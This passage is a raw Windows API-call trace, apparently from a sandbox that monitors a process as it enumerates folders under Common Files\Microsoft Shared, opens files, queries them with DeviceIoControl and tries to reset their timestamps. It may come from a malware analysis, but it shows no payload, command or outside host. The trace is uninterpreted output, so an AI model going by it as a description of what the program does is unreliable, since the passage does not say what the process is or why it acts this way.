ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0232.080] GetLastError () returned 0x12 [0232.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0232.080] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.081] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.081] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0232.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.082] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.083] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.083] NtClose (Handle=0x1b0) returned 0x0 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5288 [0232.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0232.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0232.084] GetLastError () returned 0x12 [0232.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0232.084] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0232.084] GetLastError () returned 0x12 [0232.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5288) returned 1 [0232.084] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.084] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0232.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0232.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0232.085] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.085] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.085] NtClose (Handle=0x1b4) returned 0x0 [0232.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5288 [0232.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0232.086] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7128 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.086] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.086] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7148 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7168 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd8b8 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.087] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.087] RtlFreeHeap 